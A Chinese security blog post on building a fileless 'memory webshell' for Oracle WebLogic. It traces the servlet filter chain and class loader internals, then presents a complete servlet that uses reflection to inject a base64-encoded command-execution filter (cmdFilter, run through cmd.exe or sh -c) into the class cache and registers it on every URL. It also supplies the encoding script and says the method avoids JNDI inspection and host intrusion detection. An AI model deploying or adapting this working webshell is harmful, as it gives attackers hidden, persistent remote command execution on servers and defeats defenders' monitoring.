zoukankan      html  css  js  c++  java
  • Java安全之Weblogic内存马

    Java安全之Weblogic内存马

    0x00 前言

    发现网上大部分大部分weblogic工具都是基于RMI绑定实例回显,但这种方式有个弊端,在Weblogic JNDI树里面能将打入的RMI后门查看得一清二楚。并且这种方式实现上传Webshell落地文件容易被Hids监测。

    0x01 调试分析

    调试分析

    写一个filter进行断点跟踪上层代码。

    其实和Tomcat差不多,就是一个Filter链

     public void doFilter(ServletRequest req, ServletResponse rsp) throws IOException, ServletException {
            ServletRequestImpl.getOriginalRequest(req).setAsyncSupported(this.asyncSupportedBits.get(this.index));
            Filter f = this.index < this.filters.size() - 1 ? (Filter)this.filters.get(this.index++) : (Filter)this.filters.get(this.index);
            f.doFilter(req, rsp, this);
        }
    

    而在weblogic.servlet.internal.FilterChainImpl

    private List<Filter> filters = new LinkedList();
    

    存储Filter。在上面的doFilter方法里面遍历调用Filter的doFilter。

    再追溯到上层中

    weblogic.servlet.internal.WebAppServletContext#wrapRun

    try {
                                    ServletInvocationContext invocationContext = this.context;
                                    invocationContext.initOrRestoreThreadContext(this.req);
                                    if (WebAppServletContext.wldfDyeInjectionMethod != null) {
                                        try {
                                            Object[] args = new Object[]{this.req};
                                            WebAppServletContext.wldfDyeInjectionMethod.invoke((Object)null, args);
                                        } catch (Throwable var14) {
                                        }
                                    }
    
                                    if (!invocationContext.hasFilters() && !invocationContext.hasRequestListeners()) {
                                        this.stub.execute(this.req, this.rsp);
                                    } else {
                                        FilterChainImpl fc = invocationContext.getFilterChain(this.stub, this.req, this.rsp);
                                        if (fc == null) {
                                            this.stub.execute(this.req, this.rsp);
                                        } else {
                                            fc.doFilter(this.req, this.rsp);
                                        }
                                    }
    

    FilterChainImpl fc = invocationContext.getFilterChain(this.stub, this.req, this.rsp);
    

    以上方法获取了一个FilterChain,即Filter链。跟踪该方法。

    weblogic.servlet.internal.FilterManager#getFilterChain方法

    该方法会获取FilterChain。

    该类中还有动态注册Filter方法

     void registerFilter(String filterName, String filterClassName, String[] urlPatterns, String[] servletNames, Map initParams, String[] dispatchers) throws DeploymentException {
            FilterWrapper fw = new FilterWrapper(filterName, filterClassName, initParams, this.context);
            if (this.loadFilter(fw)) {
                EnumSet<DispatcherType> types = FilterManager.FilterInfo.translateDispatcherType(dispatchers, this.context, filterName);
                if (urlPatterns != null) {
                    this.addMappingForUrlPatterns(filterName, types, true, urlPatterns);
                }
    
                if (servletNames != null) {
                    this.addMappingForServletNames(filterName, types, true, servletNames);
                }
    
                this.filters.put(filterName, fw);
            }
        }
    

    将参数传递进行封装到FilterWrapper,这里并没有传递一个class参数进去,传递了filterClassName,然后在下面的this.loadFilter(fw)进行加载。

    boolean loadFilter(FilterWrapper filterWrapper) throws DeploymentException {
            Filter filter = filterWrapper.getFilter();
            if (filter == null) {
                String filterClassName = filterWrapper.getFilterClassName();
    
                try {
                    filter = (Filter)this.context.createInstance(filterClassName);
                    filterWrapper.setFilter((String)null, (Class)null, filter, false);
                } catch (Exception var5) {
                    HTTPLogger.logCouldNotLoadFilter(this.context.getLogContext() + " " + filterClassName, var5);
                    throw new DeploymentException(var5);
                }
            }
    
            Throwable e = this.initFilter(filterWrapper.getFilterName(), filterWrapper.getFilter(), filterWrapper.getInitParameters());
            return e == null;
        }
    

    随即调用this.context.createInstance(filterClassName)进行加载。跟进查看。

    weblogic.servlet.internal.WebAppServletContext#createInstance

     Object createInstance(String className) throws ClassNotFoundException, InstantiationException, IllegalAccessException {
            Class<?> clazz = this.classLoader.loadClass(className);
            return this.createInstance(clazz);
        }
    

    使用的是weblogic自己定义的一个classloader,调用自定义的loadclass方法。

    protected Class<?> loadClass(String name, boolean resolve) throws ClassNotFoundException {
            synchronized(this.getClassLoadingLock(name)) {
                Class res = (Class)this.cachedClasses.get(name);
                if (res != null) {
                    return res;
                } else if (!this.childFirst) {
                    return super.loadClass(name, resolve);
                } else if (!name.startsWith("java.") && (!name.startsWith("javax.") || name.startsWith("javax.xml") || name.startsWith("javax.wsdl")) && !name.startsWith("weblogic.") && !name.startsWith("com.sun.org.")) {
                    Class var10000;
                    try {
                        synchronized(this) {
                            Class clazz = this.findClass(name);
                            if (resolve) {
                                this.resolveClass(clazz);
                            }
    
                            var10000 = clazz;
                        }
                    } catch (ClassNotFoundException var10) {
                        return super.loadClass(name, resolve);
                    }
    
                    return var10000;
                } else {
                    return super.loadClass(name, resolve);
                }
            }
        }
    

    ChangeAwareClassLoader.loadClass方法会从cache中查找是否存在待查找的类,也就是this.cachedClasses这个变量。

    再看下来,这个!this.childFirst则是调用父类的loadClass方法,则weblogic.utils.classloaders.GenericClassLoader#loadClass

    再后面就是以java.javax.javax.xmljavax.wsdlweblogic.com.sun.org.

    开头的类名则使用weblogic.utils.classloaders.ChangeAwareClassLoader#findClass查找。

    这时候只需将恶意filter添加到cachedClasses中,调用registerFilter接口添加成功

    问题思考

    1. 我们的这几个request或contenx该怎么拿到
    2. 添加内存马的话,反射代码该怎么写。
    3. 怎么获取cachedClasses,获取后直接调用put将这个map对象中添加class进去即可。

    实现

    直接上java-object-searcher工具一把梭哈

    List<Keyword> keys = new ArrayList<>();
    keys.add(new Keyword.Builder().setField_type("HttpServletRequest").build());
    keys.add(new Keyword.Builder().setField_type("ServletRequestImpl").build());
    
    keys.add(new Keyword.Builder().setField_type("ServletResponseImpl").build());
    keys.add(new Keyword.Builder().setField_type("Request").build());
    //新建一个广度优先搜索Thread.currentThread()的搜索器
    SearchRequstByBFS searcher = new SearchRequstByBFS(Thread.currentThread(),keys);
    //打开调试模式
    searcher.setIs_debug(true);
    //挖掘深度为20
    searcher.setMax_search_depth(20);
    //设置报告保存位置
    searcher.setReport_save_path("D:weblogic_ehco_gadget");
    searcher.searchObject();
    
    TargetObject = {weblogic.work.ExecuteThread} 
      ---> workEntry = {weblogic.servlet.provider.ContainerSupportProviderImpl$WlsRequestExecutor} 
       ---> connectionHandler = {weblogic.servlet.internal.HttpConnectionHandler} 
         ---> request = {weblogic.servlet.internal.ServletRequestImpl}
    

    代码如下:

    Thread thread = Thread.currentThread();
            try {
                Field workEntry = Class.forName("weblogic.work.ExecuteThread").getDeclaredField("workEntry");
                workEntry.setAccessible(true);
                Object workentry  = workEntry.get(thread);
    
                Field connectionHandler = workentry.getClass().getDeclaredField("connectionHandler");
                connectionHandler.setAccessible(true);
                connectionHandler.get(workentry);
    
    
            } catch (NoSuchFieldException e) {
                e.printStackTrace();
            } catch (ClassNotFoundException e) {
                e.printStackTrace();
            } catch (IllegalAccessException e) {
                e.printStackTrace();
            }
    

    获取成功,接下来就是获取context然后将即WebAppServletContext调用registerFilter将恶意Filter进行注册。

    Field context = servletRequest.getClass().getDeclaredField("context");
                context.setAccessible(true);
                weblogic.servlet.internal.WebAppServletContext webAppServletContext = (weblogic.servlet.internal.WebAppServletContext)context.get(context);
    

    cachedClasses这个变量在ChangeAwareClassLoader中。前面也提到过在调用weblogic.servlet.internalWebAppServletContext#createInstance 中存储的是ChangeAwareClassLoader,获取该classLoader变量即可。

    最终代码:

    package com.nice0e3;
    
    import sun.misc.BASE64Decoder;
    import weblogic.servlet.internal.FilterManager;
    import weblogic.servlet.internal.ServletRequestImpl;
    import weblogic.servlet.internal.WebAppServletContext;
    
    import javax.servlet.ServletException;
    import javax.servlet.annotation.WebServlet;
    import javax.servlet.http.HttpServlet;
    import javax.servlet.http.HttpServletRequest;
    import javax.servlet.http.HttpServletResponse;
    import java.io.IOException;
    import java.lang.reflect.Field;
    import java.lang.reflect.InvocationTargetException;
    import java.lang.reflect.Method;
    import java.util.Map;
    
    //TargetObject = {weblogic.work.ExecuteThread}
    //  ---> workEntry = {weblogic.servlet.provider.ContainerSupportProviderImpl$WlsRequestExecutor}
    //   ---> connectionHandler = {weblogic.servlet.internal.HttpConnectionHandler}
    //     ---> request = {weblogic.servlet.internal.ServletRequestImpl}
    
    @WebServlet("/demoServlet")
    public class demoServlet extends HttpServlet {
        protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
            response.getWriter().write("test!!!");
            Thread thread = Thread.currentThread();
            try {
                Field workEntry = Class.forName("weblogic.work.ExecuteThread").getDeclaredField("workEntry");
                workEntry.setAccessible(true);
                Object workentry  = workEntry.get(thread);
    
                Field connectionHandler = workentry.getClass().getDeclaredField("connectionHandler");
                connectionHandler.setAccessible(true);
                Object http = connectionHandler.get(workentry);
    
                Field request1 = http.getClass().getDeclaredField("request");
                request1.setAccessible(true);
                ServletRequestImpl servletRequest = (ServletRequestImpl)request1.get(http);
    
                servletRequest.getResponse().getWriter().write("Success!!!");
                Field context = servletRequest.getClass().getDeclaredField("context");
                context.setAccessible(true);
                WebAppServletContext webAppServletContext = (WebAppServletContext)context.get(servletRequest);
    
                String encode_class ="yv66vgAAADQAkgoAHgBJCAA/CwBKAEsIAEwKAE0ATgoACQBPCABQCgAJAFEHAFIIAFMIAFQIAFUIAFYKAFcAWAoAVwBZCgBaAFsHAFwKABEAXQgAXgoAEQBfCgARAGAKABEAYQgAYgsAYwBkCgBlAGYKAGUAZwoAZQBoCwBpAGoHAGsHAGwHAG0BAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAC0xjbWRGaWx0ZXI7AQAEaW5pdAEAHyhMamF2YXgvc2VydmxldC9GaWx0ZXJDb25maWc7KVYBAAxmaWx0ZXJDb25maWcBABxMamF2YXgvc2VydmxldC9GaWx0ZXJDb25maWc7AQAKRXhjZXB0aW9ucwcAbgEACGRvRmlsdGVyAQBbKExqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTtMamF2YXgvc2VydmxldC9GaWx0ZXJDaGFpbjspVgEABGNtZHMBABNbTGphdmEvbGFuZy9TdHJpbmc7AQACaW4BABVMamF2YS9pby9JbnB1dFN0cmVhbTsBAAFzAQATTGphdmEvdXRpbC9TY2FubmVyOwEABm91dHB1dAEAEkxqYXZhL2xhbmcvU3RyaW5nOwEABndyaXRlcgEAEExqYXZhL2lvL1dyaXRlcjsBAA5zZXJ2bGV0UmVxdWVzdAEAHkxqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0OwEAD3NlcnZsZXRSZXNwb25zZQEAH0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTsBAAtmaWx0ZXJDaGFpbgEAG0xqYXZheC9zZXJ2bGV0L0ZpbHRlckNoYWluOwEAA2NtZAEADVN0YWNrTWFwVGFibGUHAFIHADAHAG8HAFwHAHABAAdkZXN0cm95AQAKU291cmNlRmlsZQEADmNtZEZpbHRlci5qYXZhDAAgACEHAHEMAHIAcwEAB29zLm5hbWUHAHQMAHUAcwwAdgB3AQADd2luDAB4AHkBABBqYXZhL2xhbmcvU3RyaW5nAQAHY21kLmV4ZQEAAi9jAQACc2gBAAItYwcAegwAewB8DAB9AH4HAH8MAIAAgQEAEWphdmEvdXRpbC9TY2FubmVyDAAgAIIBAAJcYQwAgwCEDACFAIYMAIcAdwEAAAcAiAwAiQCKBwCLDACMAI0MAI4AIQwAjwAhBwCQDAAtAJEBAAljbWRGaWx0ZXIBABBqYXZhL2xhbmcvT2JqZWN0AQAUamF2YXgvc2VydmxldC9GaWx0ZXIBAB5qYXZheC9zZXJ2bGV0L1NlcnZsZXRFeGNlcHRpb24BABNqYXZhL2lvL0lucHV0U3RyZWFtAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAHGphdmF4L3NlcnZsZXQvU2VydmxldFJlcXVlc3QBAAxnZXRQYXJhbWV0ZXIBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEAEGphdmEvbGFuZy9TeXN0ZW0BAAtnZXRQcm9wZXJ0eQEAC3RvTG93ZXJDYXNlAQAUKClMamF2YS9sYW5nL1N0cmluZzsBAAhjb250YWlucwEAGyhMamF2YS9sYW5nL0NoYXJTZXF1ZW5jZTspWgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACgoW0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQARamF2YS9sYW5nL1Byb2Nlc3MBAA5nZXRJbnB1dFN0cmVhbQEAFygpTGphdmEvaW8vSW5wdXRTdHJlYW07AQAYKExqYXZhL2lvL0lucHV0U3RyZWFtOylWAQAMdXNlRGVsaW1pdGVyAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS91dGlsL1NjYW5uZXI7AQAHaGFzTmV4dAEAAygpWgEABG5leHQBAB1qYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZQEACWdldFdyaXRlcgEAFygpTGphdmEvaW8vUHJpbnRXcml0ZXI7AQAOamF2YS9pby9Xcml0ZXIBAAV3cml0ZQEAFShMamF2YS9sYW5nL1N0cmluZzspVgEABWZsdXNoAQAFY2xvc2UBABlqYXZheC9zZXJ2bGV0L0ZpbHRlckNoYWluAQBAKExqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTspVgAhAB0AHgABAB8AAAAEAAEAIAAhAAEAIgAAAC8AAQABAAAABSq3AAGxAAAAAgAjAAAABgABAAAABQAkAAAADAABAAAABQAlACYAAAABACcAKAACACIAAAA1AAAAAgAAAAGxAAAAAgAjAAAABgABAAAACQAkAAAAFgACAAAAAQAlACYAAAAAAAEAKQAqAAEAKwAAAAQAAQAsAAEALQAuAAIAIgAAAYAABAAKAAAAoisSArkAAwIAOgQZBMYAjQE6BRIEuAAFtgAGEge2AAiZABsGvQAJWQMSClNZBBILU1kFGQRTOgWnABgGvQAJWQMSDFNZBBINU1kFGQRTOgW4AA4ZBbYAD7YAEDoGuwARWRkGtwASEhO2ABQ6BxkHtgAVmQALGQe2ABanAAUSFzoILLkAGAEAOgkZCRkItgAZGQm2ABoZCbYAGy0rLLkAHAMAsQAAAAMAIwAAAD4ADwAAAA0ACgAOAA8ADwASABEAIgASADoAFABPABcAXAAYAGwAGQCAABoAiAAbAI8AHACUAB0AmQAfAKEAIAAkAAAAZgAKABIAhwAvADAABQBcAD0AMQAyAAYAbAAtADMANAAHAIAAGQA1ADYACACIABEANwA4AAkAAACiACUAJgAAAAAAogA5ADoAAQAAAKIAOwA8AAIAAACiAD0APgADAAoAmAA/ADYABABAAAAAHAAF/QA6BwBBBwBCFP0ALAcAQwcAREEHAEH4ABoAKwAAAAYAAgBFACwAAQBGACEAAQAiAAAAKwAAAAEAAAABsQAAAAIAIwAAAAYAAQAAACcAJAAAAAwAAQAAAAEAJQAmAAAAAQBHAAAAAgBI";
                byte[] decode_class = new BASE64Decoder().decodeBuffer(encode_class);
                Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
                defineClass.setAccessible(true);
                Class filter_class = (Class) defineClass.invoke(webAppServletContext.getClassLoader(), decode_class, 0, decode_class.length);
                Field classLoader = webAppServletContext.getClass().getDeclaredField("classLoader");
                classLoader.setAccessible(true);
                ClassLoader  classLoader1  =(ClassLoader)classLoader.get(webAppServletContext);
    
                Field cachedClasses = classLoader1.getClass().getDeclaredField("cachedClasses");
                cachedClasses.setAccessible(true);
                Object cachedClasses_map = cachedClasses.get(classLoader1);
                Method get = cachedClasses_map.getClass().getDeclaredMethod("get", Object.class);
                get.setAccessible(true);
                if (get.invoke(cachedClasses_map, "cmdFilter") == null) {
    
                    Method put = cachedClasses_map.getClass().getMethod("put", Object.class, Object.class);
                    put.setAccessible(true);
                    put.invoke(cachedClasses_map, "cmdFilter", filter_class);
    
                    Field filterManager = webAppServletContext.getClass().getDeclaredField("filterManager");
                    filterManager.setAccessible(true);
                    Object o = filterManager.get(webAppServletContext);
    
                    Method registerFilter = o.getClass().getDeclaredMethod("registerFilter", String.class, String.class, String[].class, String[].class, Map.class, String[].class);
                    registerFilter.setAccessible(true);
                    registerFilter.invoke(o, "test", "cmdFilter", new String[]{"/*"}, null, null, null);
                }
    
    
    
    
    
            } catch (NoSuchFieldException e) {
                e.printStackTrace();
            } catch (ClassNotFoundException e) {
                e.printStackTrace();
            } catch (IllegalAccessException e) {
                e.printStackTrace();
            } catch (NoSuchMethodException e) {
                e.printStackTrace();
            } catch (InvocationTargetException e) {
                e.printStackTrace();
            }
    
        }
    
        protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        this.doPost(request, response);
        }
    }
    
    

    把base64加密脚本也贴一出来

     File file = new File("D:\Java_Demo\weblogic_an_shell\out\production\weblogic_an_shell\cmdFilter.class");
                    FileInputStream fileInputStream = new FileInputStream(file);
                    ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
                    byte[] bytes = new byte[4096];
                    int len;
                    while ((len = fileInputStream.read(bytes))!=-1){
                        byteArrayOutputStream.write(bytes,0,len);
                    }
            String encode = new BASE64Encoder().encode(byteArrayOutputStream.toByteArray());
            System.out.println(encode.replaceAll("
    |
    ",""));
    

    里面还有registerListener方法也可以使用同样的方法实现Listener内存马。

    0x02 结尾

    介于网上weblogic内存马文章比较少,自己动手实现了一下。大大小小也遇到不少的坑。

    WX:TG9yaTI1NDgyNjYxNDU= 欢迎各位师傅来一起做技术交流
  • 相关阅读:
    软考
    码云
    vue和bpmnjs
    工作流引擎
    net core restapi
    工厂模式
    sqlmanage
    类的扩展
    导出excel
    拼图
  • 原文地址:https://www.cnblogs.com/nice0e3/p/14956677.html
Copyright © 2011-2022 走看看